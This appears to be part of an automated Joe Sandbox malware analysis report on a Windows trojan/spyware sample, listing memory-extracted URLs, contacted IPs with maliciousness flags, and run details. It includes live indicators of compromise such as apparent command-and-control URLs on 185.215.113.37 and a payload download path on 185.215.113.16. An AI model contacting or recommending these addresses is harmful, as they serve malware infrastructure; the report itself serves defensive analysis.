https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000002.2855339754.000002EE58F24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EF4C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpz	7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpb	7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%sCan	firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000003.2681144026.000002EE5CB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpd	7d61336cf8.exe, 0000000A.00000002.2635976470.0000000001797000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 0000001A.00000002.2850784469.000002EE5818A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850784469.000002EE581AD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ok.ru/	firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.bbc.co.uk/	firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 0000001A.00000002.2885095805.000002EE5D9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2746025159.000002EE5D9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C963000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2792367692.000002EE5D9E3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E910000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2900792770.000002EE5EA4D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/	firefox.exe, 0000001A.00000002.2905856189.000002EE5EF42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001A.00000002.2935687612.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/-	aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/Z	firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562574422.0000000000C12000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	firefox.exe, 0000001A.00000002.2911859884.000002EE5FF61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://youtube.com/	firefox.exe, 0000001A.00000002.2929744715.000002EE64D53000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://broadcast.st.dl.eccdnx.com	aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C963000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2928343018.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2739831324.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2928343018.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2739831324.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/?	aae25c676b.exe, 00000009.00000002.2562909135.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C49000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 0000001A.00000002.2910556312.000002EE5F5CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2215827010.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 0000001A.00000002.2913537647.000002EE60061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2928343018.000002EE64C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E6D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2917093566.000002EE604D5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001A.00000003.2681144026.000002EE5CB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C999000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C9B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/steam/random.exeI	file.exe, 00000000.00000003.2358846258.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001A.00000002.2855339754.000002EE58F24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.wykop.pl/	firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e	aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://vk.com/	firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com	aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/website-translationMaster	firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mobbipenju.store:443/api	aae25c676b.exe, 00000015.00000002.2730364070.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C963000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.steampowered.com/	aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/mobile	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001A.00000003.2808538158.000002EE606E6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://json-schema.org/draft-06/schema#	firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64ABF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.206.204	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
142.250.186.110	youtube.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540375
Start date and time:	2024-10-23 17:50:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/24@92/12
EGA Information:	Successful, ratio: 42.9%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
